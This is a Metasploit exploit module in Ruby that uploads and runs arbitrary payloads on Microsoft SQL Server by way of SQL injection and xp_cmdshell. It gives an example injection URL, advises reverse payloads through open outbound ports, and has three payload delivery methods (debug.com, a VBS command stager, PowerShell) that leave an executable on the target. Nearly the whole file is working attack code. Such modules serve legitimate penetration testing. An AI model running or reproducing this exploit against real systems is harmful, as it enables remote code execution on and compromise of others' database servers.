##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::MSSQL_SQLI
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft SQL Server Payload Execution via SQL Injection',
        'Description' => %q{
          This module will execute an arbitrary payload on a Microsoft SQL
          Server, using a SQL injection vulnerability.

          Once a vulnerability is identified this module
          will use xp_cmdshell to upload and execute Metasploit payloads.
          It is necessary to specify the exact point where the SQL injection
          vulnerability happens. For example, given the following injection:

          http://www.example.com/show.asp?id=1;exec xp_cmdshell 'dir';--&cat=electrical

          you would need to set the following path:
          set GET_PATH /showproduct.asp?id=1;[SQLi];--&cat=foobar

          In regard to the payload, unless there is a closed port in the web server,
          you dont want to use any "bind" payload, specially on port 80, as you will
          stop reaching the vulnerable web server host. You want a "reverse" payload, probably to
          your port 80 or to any other outbound port allowed on the firewall.
          For privileged ports execute Metasploit msfconsole as root.

          Currently, three delivery methods are supported.

          First, the original method uses Windows 'debug.com'. File size restrictions are
          avoided by incorporating the debug bypass method presented by SecureStat at
          Defcon 17. Since this method invokes ntvdm, it is not available on x64 systems.

          A second method takes advantage of the Command Stager subsystem. This allows using
          various techniques, such as using a TFTP server, to send the executable. By default
          the Command Stager uses 'wcsript.exe' to generate the executable on the target.

          Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
          payload on the target.

          NOTE: This module will leave a payload executable on the target system when the
          attack is finished.
        },
        'Author' => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
          'jduck', # command stager mods
          'Rodrigo Marcos' # SQL injection mods
        ],
        'License' => MSF_LICENSE,
        'References' => [
          # 'sa' password in logs
          [ 'CVE', '2000-0402' ],
          [ 'OSVDB', '557' ],
          [ 'BID', '1281' ],

          # blank default 'sa' password
          [ 'CVE', '2000-1209' ],
          [ 'OSVDB', '15757' ],
          [ 'BID', '4797' ],

          # code and comments
          [ 'URL', 'http://www.secforce.co.uk/blog/2011/01/penetration-testing-sql-injection-and-metasploit/' ]

        ],
        'Platform' => 'win',
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'Payload' => {
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
        },
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'CmdStagerFlavor' => 'vbs',
        'DefaultTarget' => 0,
        'DisclosureDate' => '2000-05-30',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
    register_options(
      [
        OptEnum.new('DELIVERY', [true, 'Payload delivery method', 'OLD', ['PS', 'CMD', 'OLD']])
      ]
    )
  end

  # This is method required for the CmdStager to work...
  def execute_command(cmd, opts)
    mssql_xpcmdshell(cmd, datastore['VERBOSE'])
  end

  def exploit
    method = datastore['DELIVERY'].downcase

    if (method =~ /^cmd/)
      execute_cmdstager({ :linemax => 1500, :nodelete => true })
      # execute_cmdstager({ :linemax => 1500 })
    else
      # Generate the EXE, this is the same no matter what delivery mechanism we use
      exe = generate_payload_exe

      # Use powershell method for payload delivery if specified
      if (method =~ /^ps/) or (method =~ /^power/)
        powershell_upload_exec(exe)
      else
        # Otherwise, fall back to the old way..
        mssql_upload_exec(exe, datastore['VERBOSE'])
      end
    end
    print_status("Almost there, the stager takes a while to execute. Waiting 50 seconds...")
    select(nil, nil, nil, 50)
    handler
    disconnect
  end

end
